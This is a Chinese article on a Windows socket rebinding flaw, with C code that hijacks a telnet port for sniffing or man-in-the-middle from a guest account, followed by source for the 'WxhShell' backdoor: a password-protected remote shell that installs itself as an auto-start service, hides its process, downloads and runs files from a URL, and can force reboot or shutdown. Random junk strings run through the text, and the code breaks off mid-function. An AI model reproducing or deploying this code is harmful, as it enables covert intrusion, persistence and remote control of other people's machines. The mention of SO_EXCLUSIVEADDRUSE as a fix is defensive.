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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #V4kT*2P) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,o(7z^1Pe; kz]vXJ saddr.sin_family = AF_INET; z@E-pYV Pkx*1.uo saddr.sin_addr.s_addr = htonl(INADDR_ANY); 57/9i>
@ J)O1)fR bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3eUTV<! _D9`L&X} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^4@~\#$z (yk^% 这意味着什么?意味着可以进行如下的攻击: 7.4Q x\ieWF1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O[O`4de9 9W$d'IA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +QNFu){G D3#/*Ky 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %JBFG.+ %x_c2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %GUu{n<6 \VmqK&9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8D[8(5 sW)C6 # 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j-2`yR :O:Rfmr~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /s.O3x._' bSmF"H0cP #include FY%v \`@1* #include /{pVYY #include S4]}/Imn) #include 9g3J{pKcZ DWORD WINAPI ClientThread(LPVOID lpParam); YDBQ6X int main() /60`"xH { X+;F5b9z WORD wVersionRequested; u}u;jTi>2 DWORD ret;
/1- WSADATA wsaData; jbQ2G|:Q BOOL val; fu|N{$h%X SOCKADDR_IN saddr; @MIBW)P< SOCKADDR_IN scaddr; jRN*W2]V int err; S -j<O&h~C SOCKET s; .uzg2Kd_ SOCKET sc; ]_NN,m>z int caddsize; "oZ]/( HANDLE mt; Hl"rGA> DWORD tid; 55xv+|k wVersionRequested = MAKEWORD( 2, 2 ); <b!ieK?\F3 err = WSAStartup( wVersionRequested, &wsaData ); WN9< if ( err != 0 ) { %=x|.e@J printf("error!WSAStartup failed!\n"); Y%9S4be return -1; }5gAxR, } z)Xf6& saddr.sin_family = AF_INET; usiv`.
qM
F'& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '$u3i
#.\ 6|U0"C#] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BCV<( @c saddr.sin_port = htons(23); ,eq[X\B> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }IvJIr { ;\7TQ9z printf("error!socket failed!\n"); )&di
c6r return -1; zI/)#^ SQ } p2}$S@GD val = TRUE; <,qJ%kc //SO_REUSEADDR选项就是可以实现端口重绑定的 xlVQ[Mt if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Eq-fR~<9 { grEmp9Q ? printf("error!setsockopt failed!\n"); <{@?c return -1; MdK!Y } .J' 8d"+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7kU:91zR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 REnd#
V2x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z qX U fq/F|c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %]%.{W\j3 { q+XL,E ret=GetLastError(); v{Cts3?Br printf("error!bind failed!\n"); "6/` return -1; %C=^
h1t% } 0S@O]k) listen(s,2); d;&'uiS while(1) P_+S;(QQ~d { 24{!j[,q@ caddsize = sizeof(scaddr); A+%oE //接受连接请求 F\!;}z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D+{h@^C9Z if(sc!=INVALID_SOCKET) ?&Si P-G { 0gPz|v>z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ($*bwqp]} if(mt==NULL) (gBP`*2 { ]Po9a4w# printf("Thread Creat Failed!\n"); .58>KBj( break; ,>CFw-Nxu } 9
O| "Ws>{ } \7Hzj0hSi CloseHandle(mt); ey<u } DUf=\p6`f closesocket(s); m`C(y$8fU WSACleanup(); quc?]rb return 0; vPEL'mw/3# } 9Ue3
%?~c DWORD WINAPI ClientThread(LPVOID lpParam) {snLiCl { q@;WXH O0 SOCKET ss = (SOCKET)lpParam; f XxdOn. SOCKET sc; |33pf7o unsigned char buf[4096]; j>~^jz: SOCKADDR_IN saddr; ,p\^n`A32 long num; Z!=/[,b DWORD val; dT8m$}h9 DWORD ret;
VVeO>j d //如果是隐藏端口应用的话,可以在此处加一些判断 X5U.8qI3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Sr~zN:wn saddr.sin_family = AF_INET; (8o~ XL saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B1m@ saddr.sin_port = htons(23); FT73P0!8. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i_ws*7B< { !o~% F5|t printf("error!socket failed!\n"); V1Dwh@iS return -1; o:#l r{ } 9F)v= val = 100; PCnE-$QH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K^t M$l\ { x|*v(,7b]! ret = GetLastError(); *A2J[,?c return -1; !%J;dOcU } SQ5SvYH if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @& #df { bs
U$mtW ret = GetLastError(); 1C+Y|p?KA return -1; |J2_2a/" } |$Dt6{h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h8>7si { /Ik_U?$* printf("error!socket connect failed!\n"); 6PT ,m closesocket(sc); `kIzT!HX closesocket(ss); G_zJuE$V return -1; o!L1Qrh } `;WiTE)&) while(1) Zoj.F { :gDIGBK, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 owZjQ //如果是嗅探内容的话,可以再此处进行内容分析和记录 * #e%3N05_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '{XDhK num = recv(ss,buf,4096,0); :k8>)x]
) if(num>0) m8$6FN send(sc,buf,num,0); 7CYu"+Ea else if(num==0) @/H1}pM~ break; Je2o('MA num = recv(sc,buf,4096,0); * X\i=
K! if(num>0) *3WK:0 send(ss,buf,num,0); r&)/3^S ' else if(num==0) 0F=UZf& break; K"VphKvR } G/_#zIN`8M closesocket(ss); s4P8PDhz closesocket(sc); q7mqzMDk return 0 ; & S_gNa } ZH/^``[. {"!V&} f!ehq\K1k ========================================================== 3 8pw kt%9PGw 下边附上一个代码,,WXhSHELL soW. )5gcLD/zI ========================================================== |\@e 6kGIO$xJ) #include "stdafx.h" 5+rYk|*D+k (7`goi7M #include <stdio.h> 'IBs/9=ZC #include <string.h> |M#b`g$JO, #include <windows.h> ?l`DkUo*j #include <winsock2.h> j(F%uUpN #include <winsvc.h> QZef= #include <urlmon.h> 'VFxg, ]Rohf WHX #pragma comment (lib, "Ws2_32.lib") [Ua4{3# #pragma comment (lib, "urlmon.lib")
dKDtj: ['R2$z #define MAX_USER 100 // 最大客户端连接数 yw"FI!M #define BUF_SOCK 200 // sock buffer >WE3$Q>bi #define KEY_BUFF 255 // 输入 buffer >4}+\ Q`S
Bka\0+ #define REBOOT 0 // 重启 2/=CrK #define SHUTDOWN 1 // 关机 6:>4}WOP T[U&Y`3g #define DEF_PORT 5000 // 监听端口 ??=CAU%\ /ivt 8Uiw #define REG_LEN 16 // 注册表键长度 #9EpQc[4 #define SVC_LEN 80 // NT服务名长度 GV6!`@< cf1Ve\(YGI // 从dll定义API .3qaaXeH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -en:81a# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WqqrfzlM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OJ8W'"`L& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v3[Z]+ ] gg'lb{oG // wxhshell配置信息 M |?qSFv: struct WSCFG { (FbqKx'uq int ws_port; // 监听端口 j/3827jw= char ws_passstr[REG_LEN]; // 口令 AOWX=`J8V int ws_autoins; // 安装标记, 1=yes 0=no RO'MFU<g char ws_regname[REG_LEN]; // 注册表键名 ZJsc ?*@ char ws_svcname[REG_LEN]; // 服务名 wfM$JYfI char ws_svcdisp[SVC_LEN]; // 服务显示名 @!'Pr$` char ws_svcdesc[SVC_LEN]; // 服务描述信息 N\=pH{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5!}xl9D int ws_downexe; // 下载执行标记, 1=yes 0=no pA"x4\s char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |4YDvDEJi char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DF%\1C> * gr{{c }; Z/sB72K1 P[ n`X // default Wxhshell configuration hEsCOcEG struct WSCFG wscfg={DEF_PORT, YZ:YYcr "xuhuanlingzhe", C/"fS#< 1, `j(\9j ok "Wxhshell", QUb#;L@okn "Wxhshell", .oH0yNFX "WxhShell Service", u@}((V "Wrsky Windows CmdShell Service", T=:O(R1*0 "Please Input Your Password: ", E{^*^+c"h 1, B@HW@j " http://www.wrsky.com/wxhshell.exe", }D xXt "Wxhshell.exe" *rSMD_> }; zHG
KPuk' Wd_bDZQ // 消息定义模块 Zq2dCp% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 24Z7;' char *msg_ws_prompt="\n\r? for help\n\r#>"; %Z 9<La char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; !e&ZhtTuC char *msg_ws_ext="\n\rExit."; +8."z"i3lE char *msg_ws_end="\n\rQuit."; r|:|\"Yk char *msg_ws_boot="\n\rReboot..."; Hhr/o~?;}# char *msg_ws_poff="\n\rShutdown..."; j;<Yje&Wz char *msg_ws_down="\n\rSave to "; Xlw&hKS C16MzrB}(N char *msg_ws_err="\n\rErr!"; <oI{:KH char *msg_ws_ok="\n\rOK!"; gHQ[D|zu djS?$WBpU char ExeFile[MAX_PATH]; A1{P"p! int nUser = 0; -_
.f&l8 HANDLE handles[MAX_USER]; %h g=@7,| int OsIsNt; ~1`.iA `^9 Zbwq SERVICE_STATUS serviceStatus; <_uLf9ja SERVICE_STATUS_HANDLE hServiceStatusHandle; dI5Z*"`R9 @R9zLL6#7 // 函数声明 ^HLi1w| int Install(void); [5:,+i int Uninstall(void); zKe&*tZ int DownloadFile(char *sURL, SOCKET wsh); oR5hMu;j+ int Boot(int flag); Z{EHV7 void HideProc(void); 4wX{ N int GetOsVer(void); C<r7d [ int Wxhshell(SOCKET wsl); XPd>DH(Yc void TalkWithClient(void *cs); `i8osX[ &p int CmdShell(SOCKET sock); eU1= :n&&\ int StartFromService(void); nj!)\U int StartWxhshell(LPSTR lpCmdLine); Op,Ce4A bENfEOf, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j,80EhZ VOID WINAPI NTServiceHandler( DWORD fdwControl ); OwwH 45 \bCm]wR // 数据结构和表定义 'v*
=}k SERVICE_TABLE_ENTRY DispatchTable[] = }$hxD9z { ^5qX+!3r{ {wscfg.ws_svcname, NTServiceMain}, ;
@
h{-@ {NULL, NULL} AT<gV/1l }; 00Tm0rY 8U/q3@EC // 自我安装 ^*`{W4e] int Install(void) k.rP}76 { s!~M,zsQN char svExeFile[MAX_PATH]; sT[)r]`T HKEY key; xoTS?7 strcpy(svExeFile,ExeFile); l:a+o gm3 miCt)Qd // 如果是win9x系统,修改注册表设为自启动 bESmKe( if(!OsIsNt) { )@ZJ3l. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ik+qx~+`Qv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7B _;YT RegCloseKey(key); 4-eb& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -9~kp'_a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L5(rP\B RegCloseKey(key); 'jZ2^ return 0; ;o,t* } b3wE8Co } $)mq } yHurt>8b[ else { y<m{eDV7 S6B(g_D| // 如果是NT以上系统,安装为系统服务 df
nmUE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hqnJ@N$yY if (schSCManager!=0) =$}P'[V { b=9(gZ 9 SC_HANDLE schService = CreateService _U1~^ucV ( `)`_G!a schSCManager, J#L-Slav% wscfg.ws_svcname, o$'Fz[U wscfg.ws_svcdisp, @CP"AYB # SERVICE_ALL_ACCESS, {:IOTy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GxLoNVr SERVICE_AUTO_START, 9r
fR SERVICE_ERROR_NORMAL, n!|K# svExeFile, ?g}n$%*5y! NULL, 4};!nYey! NULL, ::uD%a zd NULL, @es}bKP NULL, = PqQJE} NULL q#pBlJ.LK ); Tg&{P{$ if (schService!=0) B cX}[?c { Xj&{M[k< CloseServiceHandle(schService); 7$z")JB CloseServiceHandle(schSCManager); V,<,;d fR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K8pfk*NZ_@ strcat(svExeFile,wscfg.ws_svcname); rwtSn?0z" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /&$'v:VB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )?%FU?2jrn RegCloseKey(key); R$K.; return 0; #-'=)l}i1A } =jkC]0qx
} iVd*62$@$ CloseServiceHandle(schSCManager); MnO,Cd6{%d } +o?.<[>!GR } h.%VWsAO7 weT33O"!1 return 1; HyiuU` } nUQcoSY# &"._%S58V // 自我卸载 X;w1@4! int Uninstall(void) Sr)/
Mf { ::dLOf8o HKEY key; `-D6:- ,w =3{h9 if(!OsIsNt) { ~4U[p 50 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b)en/mz RegDeleteValue(key,wscfg.ws_regname); C:hfI;*7 RegCloseKey(key); >L$y|8O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R9o:{U] RegDeleteValue(key,wscfg.ws_regname); F]
+t/ RegCloseKey(key); DGC-`z return 0; Eg3rbqM- 8 } YZ7rs]A } 5u:+hB } r4gkSwy else { doFp53NhV %Wom]/&,' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3LG}x/l if (schSCManager!=0) EX>> -D7L { N$/{f2iC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A%"XN k if (schService!=0) Eof1sTpA { "]LNw=S if(DeleteService(schService)!=0) { #v:<\-MjN CloseServiceHandle(schService); 90k|W> CloseServiceHandle(schSCManager); 29Kuq ;6 return 0; x1/Usupi } y`E2IE2o CloseServiceHandle(schService); L(PJ9wjkD } 3hmuF6y~ CloseServiceHandle(schSCManager); q+~z# jFX } +LQ2To } #"O9\X/B ]RPv@z:V return 1; +;C|5y } tW|B\p} Ufq"_^4 // 从指定url下载文件 Wv77ef int DownloadFile(char *sURL, SOCKET wsh) F@ZG| &
{ a,d\<mx HRESULT hr; Ki^m&P char seps[]= "/"; wC{=o`v char *token; ~"gOq"y5p char *file; 7Hf6$2Wh char myURL[MAX_PATH]; Sj+gf~~ char myFILE[MAX_PATH]; m,K\e RL~\/# strcpy(myURL,sURL); #Jy+:|jJ token=strtok(myURL,seps); L
FHyiIO while(token!=NULL) |O+R%'z'< { E5jK}1t4V file=token; VDPqI+z token=strtok(NULL,seps); %saTyF, } Fy`VQ\%7t ).9-=P HlX GetCurrentDirectory(MAX_PATH,myFILE); ;)83tx
/ strcat(myFILE, "\\"); 5>j,P strcat(myFILE, file); k|BY 7C send(wsh,myFILE,strlen(myFILE),0); Xvi{A]V send(wsh,"...",3,0); 5`^"<wNI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,$}P<WZMu if(hr==S_OK) \z:p"eua z return 0; %a5Sc|&- else &'WgBjP return 1; *#N%3:@T
U^VFHIm } T(a*d7 O_-.@uo./( // 系统电源模块 xO/44D int Boot(int flag) t82Bp[t { I4m)5G?O2 HANDLE hToken; S&_ZQLiQ$ TOKEN_PRIVILEGES tkp; q1r\60M /P^@dL if(OsIsNt) { xtpD/,2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mrFMdpaHl% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @*is]d+Ya tkp.PrivilegeCount = 1; A~*Wr+pv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2J 9eeN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ovm*,La)g if(flag==REBOOT) { |8`}yRsQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %04>R'mN return 0; -
CM;sXq } }mu8fm' else { x ~Se-#$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m"86O:S#d return 0; FE M_7M } YyK9UZjI } `'0opoQRe else { @{+*ea7M(` if(flag==REBOOT) { +8Peh9" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /I[cj3}{+f return 0; @m6pAo4P } gxU(& else { oS_'@u.5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uKpl+> return 0; 86R}G/>>e } q69a-5q } pNVao{::5 G <Lm} return 1; xs.[]>nQN } kwWO1=ikz@ iW*0V3 // win9x进程隐藏模块 FuEHO 6nx void HideProc(void) cTRCQ+W6: { pC5-,Z;8 `q$DNOrS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eHqf3f
if ( hKernel != NULL ) yQou8P=% { t9 &O0tpe pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }pTw$B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o<V-gS FreeLibrary(hKernel); g](m& O } '\_ic=&u #GWQ]r? return;
[POy"O } KxJJ?WyM $?*+P`` // 获取操作系统版本 jLb3{}0 int GetOsVer(void) p,kJ# I { tvFJ^5 OSVERSIONINFO winfo; T,WWQm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?W.Y
x7c GetVersionEx(&winfo); xl# j_d, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KVQZ return 1; _r^&.'q else }d6g{` return 0; QL|Vke:N4 } w`!Yr:dU ORfA]I-u // 客户端句柄模块 ef!I |.FW int Wxhshell(SOCKET wsl) UAcABL^2 {
0;k3 SOCKET wsh; ZQ~? struct sockaddr_in client; >"`:w
DWORD myID; ]^ RgzK Nk=M while(nUser<MAX_USER) d^lA52X6P { 9^c_^-8n<} int nSize=sizeof(client); ZO}V}3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -09<; U if(wsh==INVALID_SOCKET) return 1; |/p^e 3%cNePlr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x; b'y4kH if(handles[nUser]==0) sjaG%f&h closesocket(wsh); \u)s Zh else `-w;=_Bm nUser++; a,}{f] } nG8]c9\Q# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $&a`zffG BA-n+WCWJ
return 0; d]@9kG } { ET+V :;7q up // 关闭 socket /iukiWeW void CloseIt(SOCKET wsh) F,lQj7 { B<0lif| closesocket(wsh); [2&Fnmjk}X nUser--; ]+@b=J2b ExitThread(0); lJU[9)Q_ } i$%V)pH~F ryPz?Aw(4 // 客户端请求句柄 Ay56@_d2 void TalkWithClient(void *cs) i<@|+*>M { Z/_RQ q
L[O+9Yh SOCKET wsh=(SOCKET)cs; -2Ub'*qK char pwd[SVC_LEN]; 9I
pjY~or
char cmd[KEY_BUFF]; +VU,U`W char chr[1]; +, PBhB int i,j; "`
9W"A= xvrCm`3n@ while (nUser < MAX_USER) {
;xry ^l iyWl if(wscfg.ws_passstr) { bfrBHW# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D.\p7
NJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -M/ny-;`} //ZeroMemory(pwd,KEY_BUFF); P+Hs6Q i=0; v,2{Vr while(i<SVC_LEN) { Llg[YBJ7> Xw![}L> // 设置超时 7H./o Vl fd_set FdRead; hd^?svID struct timeval TimeOut; xkqt(ng( FD_ZERO(&FdRead); *[ A%tj% FD_SET(wsh,&FdRead); [!DLT6Qk TimeOut.tv_sec=8; F%< 0pi TimeOut.tv_usec=0; rV1JJ.I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ) tsaDG-E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e`C'5`d] Bj\0RmVa1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %tpt+N? pwd =chr[0]; K_}vmB\2l if(chr[0]==0xd || chr[0]==0xa) { %=_Iq\lC pwd=0; #_Tceq5 break; .Cm wR$u& } .Mm8\]. i++; M6g!bK2l } N4$0ptz#}G Z !hDTT // 如果是非法用户,关闭 socket #X|'RL($ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H!s &]b } 1Z*-@%RX OcIJT1 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B:SzCC.B send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r5r K> }_Jai4O while(1) { {)-%u8J\`N O":x$>'t ZeroMemory(cmd,KEY_BUFF); :~`E@`/
LqU]&AAh // 自动支持客户端 telnet标准 !d"J,. ) j=0; 9ft7 while(j<KEY_BUFF) { *^QfTKN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g*!2.P cmd[j]=chr[0]; 'n.ATV, if(chr[0]==0xa || chr[0]==0xd) { pU}>} cmd[j]=0; -3bl!9h^ break; 7@C:4c@0 } e;[/ytz"d' j++; 44b'40 } 6rPe\'n=B /FB ' // 下载文件 w~1K93/p! if(strstr(cmd,"http://")) { /G</ [ N5 send(wsh,msg_ws_down,strlen(msg_ws_down),0); whRc YnJ if(DownloadFile(cmd,wsh)) |\elM[G"g send(wsh,msg_ws_err,strlen(msg_ws_err),0); wUl}x)xo else "iOT14J!7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DJ=miJI' } HO$s&}t else { 191O(H 3hb1^HNT switch(cmd[0]) { k>2 xm w^P4_Yr[T // 帮助 0M:.Jhp case '?': { jh}[7M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'w!Hjq]$ break; O/0m|~`iY } +
PGfQN // 安装 I~#'76L[ case 'i': { hOw7"'# ! if(Install()) [x,_0-_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); aS62S9nwX else nq A>
}A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xgop1 break; +vJ[k 2d } -l$]>J~ // 卸载 -pcYhLIn case 'r': { !3d+"tL
S if(Uninstall()) a o\+%s send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qm ;ip E else iB[%5i- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |>VDMezy break; HR)joD*q;[ } ;h] zN // 显示 wxhshell 所在路径 `O0v2?/f0 case 'p': { vek9. 4! ] char svExeFile[MAX_PATH]; >fQ-(io strcpy(svExeFile,"\n\r"); }1Q]C"hY strcat(svExeFile,ExeFile); &Zq43~ send(wsh,svExeFile,strlen(svExeFile),0); I
gA0RY1 break; 2&06Db ( } @S<=Okrlj // 重启 ezy0m}@ case 'b': { @[.%A;E4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~@TNVkw if(Boot(REBOOT)) k>U&Us0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8?P@<Do% else { .hBE&Y>\ closesocket(wsh); i]xyD '0 ExitThread(0); Exk[;lI } e9"<.:& break; d-39G*;1 } \jZvP`.2 // 关机 ^!N _Nx/M case 'd': { UiF ?Nx~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1JJQ(b if(Boot(SHUTDOWN)) RLecKw&1{3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); VA.:'yQtJ else { El]Rrku closesocket(wsh); n%W~+ ExitThread(0); EKq9m=Ua@o } VO[s:e9L break; !:a
pu! } @dD70T // 获取shell (fb&5=Wzw case 's': { ="<+^$7:k CmdShell(wsh); 4vGkgH<, closesocket(wsh); WE68a!6 ExitThread(0); 9`QWqu[ break; V5%B,.d: } H2|& // 退出 t&H) :P case 'x': { e{c%o;m( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jK3% \`o CloseIt(wsh); Bk~WHg>@G break; ^|-x mUC } B k#68p // 离开 }(O
7tC case 'q': { l[L\|hv'n send(wsh,msg_ws_end,strlen(msg_ws_end),0); +n9]c~g!T0 closesocket(wsh); bgL`FW i3 WSACleanup(); u
m(A3uQ exit(1); uFL~^vz break; 7*~
rhQ } w\8grEj } Cf
J@|Rh } kbBX\*{yh 7bCTR2e\@w // 提示信息 M[@).4h if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (X QgOR# } &
/UcFB } Quc9lL ,8cw jS2E return; fG2\p&z } N1zB;-0t 8yA: C // shell模块句柄 Tg)Fr) int CmdShell(SOCKET sock) 1E=%:? d { 3RZP 12x STARTUPINFO si; s>76?Q:i ZeroMemory(&si,sizeof(si)); <0k(d:H- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M
E4MZt:> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K({+3vK PROCESS_INFORMATION ProcessInfo; /`?i&\C3r char cmdline[]="cmd"; ?&pjP,a CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _{TGO
jZr return 0; G6]M~:<i } N9Y,%lQ|B8 W9t%:wF // 自身启动模式 Dwe_ytjpc int StartFromService(void) "Z#97Jc+J { w91{''sK typedef struct `BdZqXKG { mc~d4<$`! DWORD ExitStatus; 218ZUg -a DWORD PebBaseAddress; vZq7U]RW DWORD AffinityMask; &d[&8V5S DWORD BasePriority; u&9|9+"N ULONG UniqueProcessId; HhH[p E ULONG InheritedFromUniqueProcessId; ;vc$;54K } PROCESS_BASIC_INFORMATION; 4%aODr8 K%1'zSAyK PROCNTQSIP NtQueryInformationProcess; 2_
